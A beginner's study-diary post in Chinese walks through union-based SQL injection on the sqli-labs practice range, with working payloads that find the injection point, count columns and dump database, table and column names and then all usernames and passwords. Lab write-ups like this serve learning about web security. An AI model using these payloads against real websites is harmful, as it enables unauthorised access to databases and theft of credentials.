这也只是个菜鸟的学习日记,如果有不对的地方欢迎指正
定义
参数使用「单引号」包裹时,叫做单引号字符型注入
前期准备
利用docker的靶场,如果直接进入关卡的话,会出现一下提示
无法连接到数据库:安全性
需要先创建数据库,在这个靶场中可以自动创建
点击Setup/reset Database for labs
提示:请输入ID作为带数值的参数
利用hackbar插件
页面观察
注入id=1、id=2
会有回显,且id不同回显内容也有所不同
判断注入点
尝试注入id=1'
回显报错了,但是这个报错的内容也是很有用的,提示每次从0开始,只读取一行数据
而且分析可以得到的是,我们的输入的单引号一定是成对输入的,且是在数值的同一侧,否则就是注入后会自动添加',导致在实际的sql语句中出现引号没有闭上的问题,从而报错
1、单引号成对出现在数值左边,那么传进去的值就是空的''1,回显是为空的
2、单引号是在数值的右边,那么传入的就是数值1'',回显就是id=1对应的数据
通过观察页面的报错提示可以发现我们的输入值其实是由两个单引号包裹的,初步判断注入类型为单引号型注入
判断数据库的数据类型
拼接1和2,注入1'and'1'='2,没有回显
注入1'and'1'='1
查询资料得知,数据库中id的数据类型设置为int的话,上面两种测试都回显id=1的内容,说明该数据库的id不是int型
判断字段数
1' order by 1/2/3/...;--+
发现当 1' order by 4...;--+以及比4大的数,就会报错了,说明只有3个字段
判断显示位
在一个网站的正常页面,服务端执行SQL语句查询数据库中的数据,客户端将数据展示在页面中,这个展示数据的位置就叫显示位
?id=1' and 0 union select 1,2,3 --+
在union select 前加入 “and 0" 前部语句条件为假,就是为了不显示id=1之前的数据,也可以用id=-1
可以得到,显示位是2,3,那么说明网页只能够显示第2、3列中信息,不能显示其他列的信息。
爆数据库名
?id=1'and 0 union select 1,database(),3--+
![](https://i-blog.csdnimg.cn/blog_migrate/512a6e1132dee6ac19328210c04c9261.png)
爆数据库中的表
?id=1' and 0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
爆数据库的字段
?id=1' and 0 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
爆数据库的所有内容
?id=1' and 0 union select 1,group_concat(concat_ws(':',id,username,password)),3 from users --+
就这样,我人生第一次自己动手将数据脱库的过程就实现了
此外还可以尝试一下万能密码